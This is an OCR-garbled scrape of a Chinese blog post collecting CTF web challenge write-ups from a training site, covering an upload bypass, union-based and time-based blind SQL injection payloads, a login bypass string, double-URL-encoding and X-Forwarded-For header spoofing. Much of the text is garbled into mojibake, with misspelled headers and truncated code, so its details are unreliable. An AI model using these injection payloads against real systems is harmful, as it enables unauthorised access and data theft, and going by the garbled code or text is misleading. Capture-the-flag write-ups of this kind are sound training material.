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weixin 30482181
MR
JE ST
FERARL

Webj& H #7514
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B H R

http://shiyanbar.convctf/1781

B H iR

F 2019-02-17 23:45:00 KA 69
php xhtml 48 FE
http//www.cnblogs.comybeijibing/p/10393315.html

R

bypass the upload

A flag{}

&« & @ (@ ctf5.shivanbar.comfweb/upload/ B2
X L&

Filename: mm. —smEsr,

Submit

figt L VB

-ty

MR bR, RIER AR EEEA X, EEERAE, BEIREEHARTAN

| |Maw | rdiains | neduers | Oex |

|| Mawv | meduers | AEX | OGML | Renuer |

POST /web/upload/upload.php HTTE/1.1
Hoet: ctfS.chiyanbar.com

User-Agent: Mozilla/h.0 [Macintosh;
Geckao/ /20100101 Firefox/61.0

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,%/%;3=0.8
Accept-Language:
zh-CW,zh;g=0.8,2h-TW;g=0.7,2h-HK;g=0.5,en-0US;g=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Referer: http://ctfb.shiyankar.com/wek/upload/

Content-Type! multipart/form-data;
boundary=---—----—m 1432158065012836307743061700850
Content-Length: 525

Coockie: sample-hash=571580b26c65£308376d4f64e53chbe?;
Hm_lwt_34d6£7353ab0%15a4ch82e4516dffbe3=1530840464;
Hm_cv_34d6f7353ab0915a4ch8224516dffbc3=l*viaitar*1546f1%2Cnicklanss3A
SEBBOEBIEE7S0ASB4REREI 0L BAREASICEBORELERARAT;
PHFSESSID=obd4cnonk3guidrjZujitksr73s

DHT: 1

Caonnectian: clase

Upgrade-Insecure-Reguasts: 1

Intel Mac OS5 X 10.13; rw:bl.0)

source=0;

————————————————————————————— 14321580501283630774361700850
Content-Disposlticon: form-data; name="dir"

fuplaads/
————————————————————————————— 14321580501283630774361700856

Content-Disposltion: form-data; name="file"; filename="markdcown.png"
Content-Type: image/png —

A
™

HTTE/1.1 200 OK

Date: Tue, 10 Jul 2018 03:157:39 GMT

Server: Apache/2.4.18 (Win32Z) OpenSSL/1.0.Ze
PHP/GK.3.29

X-Powered-By: PHP/5.3,29

Content-Length: 238

Connection: claose

Content-Type: text/html

<html><head><meta charset="utf-g8"
/=</head><body>

Uplead: markdown.png<hr />Type: image/png<br
/>8ize: 0.068359375 Kb<br />Stored in:

./uploads /Ba%e5f6a7ai8%ach.php<br>hifi LIEREEIE N

Bhﬁﬂ\ %ﬁijﬂg! <bra</bady>
= M.

HER £ )5 ORAF A B A FR O dir + filename, i DA 0 0 kB R M & Seid php AN BE A% B 1R L

Kequest

Kesponse



https://blog.csdn.net/weixin_30482181
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=xhtml&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/beijibing/p/10393315.html
http://shiyanbar.com/ctf/1781

Raw | Params | Headers | Hex

Raw | Headers | Hex HTMLTRender]

User-Agent: Mozilla/5.0 [Macintosh; Intel Mac OS5 ¥ 10.13; rvitl.d)
Gecko/20100101 Firefox/61.0

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,%/+;g=0.8
Eccept-Language:
zh-CH,zh;g=0.8,2h-TW;g=0.7,2h-HK;g=0.5,en-08;g=0.3,en;g=0.2
Accept-Encoding: geip, deflate

Referer: http://ctfb.shiyanbar.com/web/upload/

Content-Type: multipart/form-data;

boundary=------—--——-—————————————————— 143215806501283630774361700856
Cantent-Length: 536
Caokle: sample-hash=571580kL36cA5f306376d4fAdebh3chbhe?; source=0;

Bm_lvt_34d6f7353ab0915a4ch82e4516dffbe3=1530840464;
Bm_cv_34d6£7353ab0815a4ch82ed4blbodffbe3d=l*visitor*154661%82Cnicklanes 3A
tEBEE0%B1%E7E AL B4RERE0LBALEAEICEBOEELRALLAT;
PHPSESSID=cbidcnonb3guilrjZujs+tksr7ih

DHT: 1

Cannection: clase
Upgrade-Inseacura-Reqy,

4—:+E*?ﬁe?jOOJ”|JJ—;$E é’l ?#—:filenamE%ﬁ,

_____________________________ 143215806501283630774361700850

Content-Disposition: form-data; name="file"; filename="markdown.png"

\

HITE/1.1 200 OK

Date: Tue, 10 Jul 2018 03:5B8:2Z GMT

Server: Apache/2.4.18 [Win32) OpenSSL/1.0.2Ze
PHE/H.3.23

¥-Powered-By: PHE/h.3.29

Cantent-Length: 238

Connaection: close

Caontant-Type: text/html

<html=<head><meta charset="utf-§"
/></haad><hbody>

Uplcoad: markdown.png<br />Type: image/png<br
/>8ize: 0.068359375 Kb<br /»5tored in:
_/uploads/B8ave5f6aT7a7B%ach.php<br=@ili L{ERIG

phpMISEA TR <or></body>

</html>

&N

Content-Type: i1mage/png

# R

## BEE v

= I Y S Y (R g ~ “ [N |1 S ~

30 30 72 6a 32 75 6a 39 74  6b 38 72 37 33 35 0d Oa Orj2uj9tk8r73s X ;;L;ilTéefuiﬂugul 2018 03:55:5
31 44 4e 54 3a 20 31 0d 0a 43 6f 6e 6e 65 63 74 69 DNT:1 Connecti Server: Apache/2.4.18 (Win32)
32 6f 6e 3a 20 63 6¢c 6f 73 65 0d 0a 55 70 67 72 61 on:close Upgra THE/5.3.29

i3 64 65 2d 49 be 73 65 63 75 72 65 2d 52 65 71 75 de-Insecure-Requ ¥-Powered-By: PHP/5.3.219

i4 65 73 74 73 3a 20 31 Od Oa 0d 0a 2d 2d 2d 2d 2d ests:1 ----- Content-Length: 236

35 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ----——-----mm- Connection: close

16 2d 2d 2d 2d 2d 2d 2d 2d 31 34 33 32 31 35 38 30 -------- 14321580 Content-Type: text/html

37 35 30 31 32 38 33 36 33 30 37 37 34 33 36 31 37 5012836307743617 chiml><hemd><mats charsat="utf.
i8 30 30 38 35 36 0Od 0a 43 6f be 74 65 6e 74 2d 44 00856 Content-D >/ head><bady>

39 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d isposition: form Upload: markdown.png<br />Type
ia 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 69 72 —dam;name="mr /»8ize: 0.068359375 Kb<hr />5t
ib 22 0d Op™w@™a 2f 75 70 6c 6f 61 64 73 2f 31 2e " [uploads/l1. . fuploads /Ba%e5f6a7a78%ach.php:
ic 70 68 ?(Eﬂ;%_ﬁjo’.d 2d 2d 2d 2d 2d 2d 2d 2d php -==------- 2 <brrflag{SimcTF_huachuan}</
id 2d 2d 20e=deef2g “2d "2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ----——--——--———- </html>

le 2d 2d 2d 31 34 33 32 31 35 38 30 35 30 31 32 38 ---1432158050128

it 33 36 33 30 37 37 34 33 36 31 37 30 30 38 35 36 3630774361700856

10 0d 0a 43 6f be 74 65 6e 74 2d 44 69 73 70 6f 73 Content-Dispos ™

11 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 ition: form-data

12 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 ;name="file";f

13 69 6c 65 6e 61 6d 65 3d 22 6d 61 72 6b 64 6f 77 ilename="markdow

14 6e 2e 70 6e 67 22 0d Oa 43 bof 6e 74 65 6e 74 2d n.png" Content-

15 54 79 70 65 3a 20 69 6d 61 67 65 2f 70 6e 67 0d Type:image/png

16 Oa 0Od 0a 23 20 e9 a2 98 e7 O9b ae 0a 0Da 23 23 20 #ét ¢ ® ##

17 e9 a2 98 e7 9b ae e9 93 be eb Be a5 0a 0a 23 23 é¢ ¢ ®é ¥a ¥ ##

18 20 e9 a2 98 e7 9b ae eb 8f 8f eB bf b0 0a 60 60 é¢ ¢ ®E= 8" "’

19 60 0a Oa 60 60 60 0a 0Da 23 23 20 e8 a7 a3 e9 a2 =~ ' ##effed

fa 98 e6 80 9d e8 b7 af Oa 0a O0d Oa 2d 2d 2d 2d 2d =& e -----

ib 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d -—------==-mm--

Ic 2d 2d 2d 2d 2d 2d 2d 2d 31 34 33 32 31 35 38 30 --—------ 14321580 3 2 [ <1+ EJ Type a search tern
lone

flag{SIimCTF_huachuan}

NSCTF web200

B H e
http://shiyanbar.convctf/1760

3 H iR

H: alzLbgQsCESEIQRLWUQAYMWLY(Q2L5VWBXqGA3RQAYUMZOtmMYSGM2ZwB4tws

#R: flag:{}



function encode ($atr) {
$_o = strrevifstr);
for($_0=0;%_0<strlen(d o) ;5 0+ 1
f_c = substr(§_o,§_0,1);
ord($_ci+1;
chri{f__);
_dc

=5 1001

return str_rotl3{strrev(bazefd_encode($_1));

fige 7LV

alzLbgQsCESEIqRLWUQAYMwLYq2L5VwBXxqGA3RQAYyumZOtmMvSGM2ZwB4tws
=) rotl13f#ry:
n1imYotDfPRFRVAEYjhDN1ZjY1d2Y5IjOkdTN3EDN1hzM@OgzZiFTZ2MjO4g]f
=8&gt;reverse:
fjg40jM2ZTFiZzg@Mzh1INDE3NTdkOjI5Y2d1YjZ1NDhjYEdVRFRPfDtoYmln
=) base64f#tY:

~88:36e1bg8438e41757d:29cgeb6e48c” GUDTO| ; hbmg

&1t;?php
$_o=&quot;~88:36e1bg8438e41757d:29cgeb6e48c  GUDTO| ; hbmg&quot; ;
$_=&quot;&quot;;

for($_0=0;% 0

flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
T2 48 1)
R H B

http://shiyanbar.com/ctf/62

B B HhiR

geid



I oo comessaindens X

<« & & (O £ ctfs.shiyanbar.com/web/ B e 9y | QR iIn & @0 & » =

welcome to simplexue
Notice: Use of undefined constant user - assumed 'user' in C:\h43a1W3\phpstudyA\WWW\web\S\index.php on line 8

Notice: Undefined index: user in C:\h43a1W3\phpstudy\WWW\web\S\index.php on line 9

Username — ssssssss RIETE

fiFt AL 18
STIFREE G, KIVERS A index. txt, WA E IR, ITIFHATHT.

<html>
<head>
welcome to simplexue
</head>
<body>
<?php
if($_POST[user] & $_POST[pass]) {
$conn = mysql_connect ("HkkkkkRR D tkokskokok | Mokl k1) 0 mysql_select_db("phpformysql”) or die("Could no

HiHZEE, RWEWANEL.
1. BB dusersig |
2. R FRSERHHBAF, EHpwRHPRARpwE T LT, WRESE, WERRY.

FAENRRR: £EARSN, useriRFaddx, WUBTEAN, Brol, @EdWEEAN, & RH K48 RE
B PR, FMpw—#f, Bl 78 AN

B4 Hpayloaduser=" union select mdS5(1)# and &amp;pass=1, XZKIEAHFHKIsqliEH)
ANselect pw from php where user='' union select md5(1)#"‘e ﬁﬁﬁwﬁ]tﬂﬂ‘]pW{EE)ﬁ%)ﬁF%
AImd5 (1), HpassSHMMA LR, Bod 747, [Eflag: SimCTF{youhaocongming}.

what a fucklix &4 R & 75 ?

B H s
http://shiyanbar.convctf/56

A B R

what a fuck!XRMH2ARE?
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fiFE R V. %
STIFRRE B AT LUE B R jsfuckéiid, ELEEAE I Y B consoledZ bl & PT X BRFBR AT A T
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B R Ihatejs
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g OFES: BNERTRARARESGWG, EMEEFHIESEDENSHE RTEREATHRN. MRIERL, HETAWA A alow pasting” (ARHEEIES) X
v o 1V

;‘Iag : Inatejs
PHP K 7%
B H B



http://shiyanbar.com/ctf/54

8 H iR

EREH M

« > C @ (i) ctf5.shiyanbar.com/DUTCTF B

Notice: Use of undefined constant id - assumed 'id' in C:\h43a1W3\phpstudy\WWV
Notice: Undefined index: id in C:\h43a1W3\phpstudy\WWWW\DUTCTRindex.php c
Deprecated: Function eregi() is deprecated in C:\h43a1W3\phpstudy\WWW\DUTC
Notice: Use of undefined constant id - assumed 'id' in C:\h43a1W3\phpstudy\WwV
Notice: Use of undefined constant id - assumed 'id' in C:\h43a1W3\phpstudy\WwV
Notice: Undefined index: id in CA\h43a1W3\phpstudy\WWW\DUTCTRindex.php ¢
Notice: Use of undefined constant id - assumed 'id' in C:\h43a1W3\phpstudy\WwV

Can you authenticate to this websital? index.php.txt

fiFe 7L V. %
$TFFRE B B4 0 XM index . php. txto

<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerD]") { ec

MIBERETTLLER], H#iARhackerDIB, @MHEHSRENot allowed, HMHAZITurlfifhiget
fhackerDJht, REIflag. XBEHAP RN, BATLLSEE - %M, £ -AN%FMH4LEruldecode)s,
IR Gm B 3 N idBE 46 N IE % i ascii. payload $2568ackerDJe.

Request Response

Raw | Headers | Hex

Raw | Params | Headers | Hex

GET /DUICTF/index.phpPid=%256B8ackerDd EITE/1.1
Host: ctib.shiyvanbar.com
User-Agent: Mozilla/5.0 [(Macintosh; Intel Mac OS5 X 10.13;

T

Connection: close
Cantent-Type: text/html

rvi61.0) Gecko/20100101 Firefax/61.0

Accept:

text/html,;application/xhtml+xml, application/xml:;g=0.9,+%/#;g
=0.8

Accept-Languageas:
zh-CHN,2h;g=0.8,8h-TW;g=0.7,2h-HK;g=0.5,en-0US;g=0.3,an;g=0.2

Accept-Encoding: gzip, deflate

Cackle:

Hm 1wt 3446f7353ab0915a4ch82e45164ffbc3=15308404/4;
Hm_cv_34d6f£7353ab0%16ad4ch82ad4bladifhed=l*visitor*154661%2Cn
ickName:3AtESEB0E815EFE9RE848REGFE0058REEREICEB0EERERAEAT
PEPSESSID=cb4cnonb3guildrjZujdtk8riis

DHT: 1

Caonnecticon: close

Upgrade-Insecure-Regueste: 1

DUTCTF{PHP_is_the_best _program_language}

<br />
<brHotiece</b»: Usse of undefined constant id - assumsad
'id' in <b>C:\hd3al¥W3\phpstudy \MIM\DUTCTF \index.php</L>
on line <b»2</b><br />
<br /=
<prDeprecated</b»: Function eregi() is deprecatsd in
<b>C:\h4d3alWw3\phpstudy \WWWA\DUTCTF \index.php</b> on line
<b»2<fbr<br />
<br /=
<b»Hotice</b»: Usse of undefined constant id - assumsad
'id' in <b>C:\h43al¥3\phpstudy \VIADUTCTF \index . php</L>
on line <b>7</b><br /=
<br /=
<b>Hetice</L>: Use of undefined constant id - assumed
'1d' in <b>¢:\hd3al¥3\phpstudy \VIADUTCTF \index . php</L>
on line <b>7</b><hr /=
<br /=
<k>Hotige</b»: Use of undefined constant id - assumed
'id' in <brc:\hd3alw3\phpstudy \vinA\DUTCTF\index . php</L>
on line <b»8</b=<br /=

EFE-T452 3T T
DUTCTF{PHP_is_tha_bast_p:og:am_languaga}<rp>

<hr=<br>
can you authenticate to this websits?
indexz.php.tzt



XAFRRA K5
BH s

http://shiyanbar.com/ctf/33

R, TETHAELL, BLpiExA
&« & @ (@ ctf5.shiyanbar.com/8/index. B e Iy | Q% i o

Notice: Undefined variable: |d in C:\h43a1W3\phpstudy\WWW\B\index.php on line 5
D] content
|1_|we|come to this game! enjoy

fige L I8,

ffAid=1 and 1=1, BIEIEY, FHid=1 and 1=2, EEHEEHE, HEKEEHFEESQENER. 5
H B 45 Hpayload.

id=1 union select 1,schema_name from information_schema.schemata

&« & @ (i) ctf5.shiyanbar.com/8/index.php?id=1 union select 1,schema_name from informatio |

Notice: Undefined variable: Id in C\h43a1W3\phpstudy\WWW\B\index.php on line 5
D] content

|T|we|come to this game! enjoy

[1 finformation_schema

1 |my_db

1 [test

id=1 union select 1,table_name from information_schema.tables where table_schema='my_db'

NG F

D] content
|1_|we|come to this game! enjoy

1 [news

[1 [thiskey

id=1 union select 1,column_name from information_schema.columns where table_schema='my_db'

MG

D content
|T|we|ccme to this game! enjoy
[1_[id

[1 [content

[1 [kOy




id=1 union select 1,k0y from thiskey

D] content
[TMMWmemmmmmmmmy
[1 |whatiMyD91dump

flag : whatiMyD91dump

HALA R

B H B
http://shiyanbar.com/ctf/32

B H iR

NEW, EEBEM.

&« @ (0 ctf5.shiyanbar.com/phpaudit/ B e Py 0» =

Tips View the source code

PHP{UHSEEIT

Hix! MHIPREALAFIIRZA!

View the source code

<?php
function GetIP(){
if(lempty($_SERVER["HTTP_CLIENT IP"]))
S$cip = $_SERVER["HTTP_CLIENT IP"];
else if(lempty(S_SERVER["HTTP_ X FORWARDED FOR"]))
$cip = $_SERVER["HTTP_ X FORWARDED FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"])}
$cip = $_SERVER["REMOTE ADDR"];
else
$cip = "0.0.0.0";
return Scip;
1

iRt 18 18 %
HANBHG, BEAIView the source codeBEIENG.

<?php
function GetIP(){ if(!empty($_SERVER["HTTP_CLIENT_IP"])) $cip = $_SERVER["HTTP_CLIENT_IP"]; else if(!empty(



BHEW, RAERBERpHAI LT, MEEK.
Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML IRender]

GET /fphpaudit/ ETTER/1.1

Hozt: ctfS.shiyanbar.com

Ozar-Agent: Mazilla/h.0 [(Macintoshi Intel Mac 0S5 X 10.13;
rvi6l.0) Gecka/20100101 Firefox/6l.0

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q
=0.8

Accept-Language:
zh-CH,zh;g=0.8,2h-TW;g=0.7,2h-HK;g=0.5,en-0U5;g=0.3,en;g=0.2

Rccept-Encoding: gzlip, deflate

Cookies

Hm_lwt_34d6£7353ab0915adch62e4516difhe3=1530840464;

Hm _cv_34d6f7353ab091badchtledbhlodffhbed=lsvicitor*154661%2Cn
ickName: 3ASES3B0%815ET80AE645E5290%8A3EA3ICE803ER3R4ERT;

Eaia - . 9tk8§ﬂ735
i;for:vardad—for: 1.1.1.1 f iEj]D

Connectlon: clase
Upgrade-Insecure-Reguests: 1
Cache-Control: max-age=0

SimCTF{daima_sheng;ji}
KRBERK
B H s

http://shiyanbar.com/ctf/29

B B HR

RAEE 22T, BRABMEERRT.

<« c

(@ ctf5.shiyanbar.com/sHeader/

Tips

L

http header

Forbidden

<div id="templatemc menu">
<uls=
<liz<a href="#" classe="current">Tips</a></li>
<li=<h>View the source cede</b»</lix
</ful=
</div>

<div id="templatemo_content_wrapper'>
<div 1d="templatemc content'>

<div clase="content_title_01">PH Pt E I </ div>
<div
class="horizontal divider 01">&nksp;</div>
<div class="cleansr">&nbsp;</div>
<genter>

<p=@reat! Key is
Isimc‘rl‘:"{daima_shengj:i.}(/l;)

— o ie="Submit3" wvalue="View the
source code”
onClick="document.all.table.style.display=[document.all.ta
ble.style.display =='none')?' "1 'none’"/>

<table width="100%"
border="0" cellspacing="0" cellpadding="0Q"
bordercolor="#DRDEF3" id=table style="diesplay:inone">
<td>
<br>
<centarr»<textarea
name="textarea" cole="80%" rows="28">
&1+ ?2rnhn

You don't have permission to access / on this server.
Please make sure you have installed .net framework 9.9!

Make sure you are in the region of England and browsing

this site with Interr

-



figt L S

WIESEH B BERE=ANKMEA L
1. %% net9. OHESE .

2. FEARIEEFEE X,

3. FE=ARHiew b,

BE—AME=ARMNTT LLEEUser-Agent/5 N L (MSTE 9.0; .NET CLR 9.9) REHW, &5 —MEEERAIE

B S dUfen-gbBIT],

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML IRender]

GET /eHeader/ HTTP/1.1

Hoet: ctfb.shivanbar.ca

User-Agent: Mazilla/h. 0
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,/*;g

=0.8 -+t (SN £/
raioprsanousoe [ ] REIHIBROISE
Aocept-Encoding: dgzlp, deflate

Coackle:

Hm_lvt_34d6f7353ab0815ad4chb?edblodfifhe3=1530840464;
Hm_cv_34d6£7353akb0915a4c582e4516dffbei=l*viaitor*=154661%2Cn
1okNames3AEEEEBOEB81E7EIREEIEEREI0EBAEEAEOCEBNEERERLIERT
PHPSESEID=ckicnonbl3guilrj2uj9+k8r7 3k

DHT: 1

Connection: close

Upgrade-Insecura-Reguests: 1

WIZE R,

B H s
http://shiyanbar.convctf/20

B R

catch! catch! catch! i, RLHRT, BiRELET

«)>c

(D ctf5.shiyanbar.com/basic/catch/

Input your pass key: iarE

fige 7LV

.net framework 9.9 5 (9] B = 7FTEHIUA

“Iix<a href="#" class="current"=Tips</a></li=
<li=<b>http header</hL></1lix
</ful=
</div>

<div id="templatemo cantent wrapper">
<div id="templatema_content”>

<div class="content_title_ 0l">Forbidden</div>
<div
clase="horizontal divider 01"=&nbsp;</div=>
<div class="cleaner ">&nbksp;</div>

<p>Y¥ou don't have psrmission to
access / on this server.</p>
<pr<br><br>The key

is :HTTpH3dder</p> <diw
clase="cleaner">&nbsp;</div>
<fdive
<div class="cleaner"=&nbsp;</div>
</diw=

<div id="templatemo_footer”»

<fdive
<fdiwe
</bady>
</html>

cn‘sIShivanbarlcomlfbas-lqlcati::h# x

e Py » =




X ERE AR, FRmNAHE N FBContent-Row, KENMSHHIME L Mpass+keyil

3%, AT fag.

Go Cance <|v >|r
Request

Raw | Params | Headers | Hex

Target: http:/ /ctf5.shiyanbar.com [EJ E

Response

Raw | Headers | Hex

POST /basic/catch/ HITE/1.1

Host: ctfb.shiyanbar.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS ¥ 10.13;
rviel.0) Gecka/20100101 Firefaox/6l.0

Acocepti
text/html,application/xhtml+xml,application/xml;g=0.9,%/%;g
=0.8

Accept-Langunage:
zh-CW,zh;g=0.8,8h-TW;g=0.7,2h-BK3;g=0.5,en-0U8;g=0.3,en1g=0.2

e

Aocept-Encoding:s geip, deflate

Referer: http://ctfb.shivanbar.com/basic/catch/
Cantent-Type: applicatiaon/x-www-form-urlencoded
Content-Length: 13

Caokie:
Hm_lwt_34d6f7353ab0915a4ch82e4516dffbe3=1530840464;
Hm_cv_34d6£7353ab0%15a4ch82e4516dffhe3=l*vicitors
1ckName:3AtES3B0s815E730A%843E589088AEA39C%8
PHPSESSID=obdcnonkb3gquidrjZujitk8r73h
DuT: 1

Cannection: clase
Upgrade-Insecure-Requests: 1

pﬁssikell:MTUzMTIwMTchw== I

Request

Raw | Params | Headers | Hex

HITE/1.1 200 OK |
Date: Tue, 10 Jul 2018 05:45:51 GMT

Server: Apache/2?.4.18 (Win3?) OpenSSL/1.0.2e PHP/E.3.2%
¥-Powered-By: PHP/H.3.29

Expiress: Thu, 19 HWov 1981 083152300 GMT

Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0

Pragma: no- I

Content-Row§ MTU2MTIWMTCWwHwW==
Content-Lenddmmmmbe

1 close

“Type: text/html

heck Failed!

Response

Raw | Headers | Hex

POST /hasic/catch/ HITE/1.1

Host: ctfb.shiyankar.com

User-Agent: Mozilla/5.0 [Macintosh; Intel Mac OS5 X 10.13;
rv:61.0] Gecka/20100101 Firefox/61.0

Aoccept:

text/html,applicatian/xhtml+xml ;application/xml;g=0.9,*/*;q
=0.8

Accept-Language:
zh-CNH,zh;g=0.8,2h-TW;g=0.7,2h-HK;g=0.5,en-US;g=0.3,en;g=0.2

T

Accept-Encoding: gzip, deflate

Referer: http://ctfb.shiyanbar.com/basic/catch/
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

Cockle:

Hm_ lwt_ 34d46£7353ab0915adch82ed4516dffbe3=1530840464;

Em cvw_34d46f7353ab0915a4ch82e4516d4ffbo3=1*vieitor*154661%2Cn
ickHamet JAtEQER0SE1SE7E0ARB48ELE Y0 BARE0NRICEB0RERSRIRAT;
PHPSESSID=obdcnanb3guilrjZnujdtk8r735

DHT: 1

Connecticn: close

Upgrade-Insecure-Reguestse: 1

pass_key=MTUzMT IwMT cwlw==

BRRAE R

B H s
http://shiyanbar.convctf/2

3 B R

P, RIKF R AR T, XA AL 1!

fige LV

HTTP/1.1 200 OK

Date: Tue, 10 Jul 2018 05:50:45 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2Ze PHP/H.3.29
¥-Poweraed-By: PEDP/E.3.29

Expires: Thu, 19 Wow 1981 0B8:52:00 GMT
Cache-Contral: no-stare, no-cache, must-revalidate,
post-check=0,; pre-check=0

Pragma: no-cache

Content-Row: MTUzZMTIwMTowNw==

Content-Lengths: 21

Connection: close

Cantent-Type: text/html

KEY: #wiinsfOcus_HNET#

&P A BEIEANRE B, Wikpayloadhttp://ctf5.shiyanbar.com/basic/inject/index.php?

admin=admin' and sleep(10) and ''='s&amp;

INZBH NsleepBiE.

pass=&amp;action=login, KILMMNEEREK, #

A A Fpayloadadmin=admin' and case when (substr (password, %s,1)="%s"') then
sleep(10) else sleep(0) end and ''='samp;pass=&amp;action=login, HHFE %S N

password BB JLAL 46, 3 = N%sERasCiF .



__author__ = 'netfish’
# -*-coding:utf-8-*-

import requests
import time

payloads = 'abcdefghijklmnopgrstuvwxyz0123456789@_.{}-' #AXHK/NEM flag = "" key=0 print("Start") for i

templates cd ,

L R

F‘
a B & I e
Start

('\n pwd

('\n pwd i 'id')

("\n pwd i 'idn')

('\n pwd i 'idnu')
('\n pwd i 'idnue')
('\n pwd i 'idnuen')
('\n pwd i 'idnuenn')
("\n pwd is: 'idnuenna')

#4285 idnuenna

&« ¢ @ () # ctf5.shiyanbar.com/basic/ BE e 1Y & mn » =

admin (I Im

3 F https://www.cnblogs.conmvbeijibing/p/10393315.html
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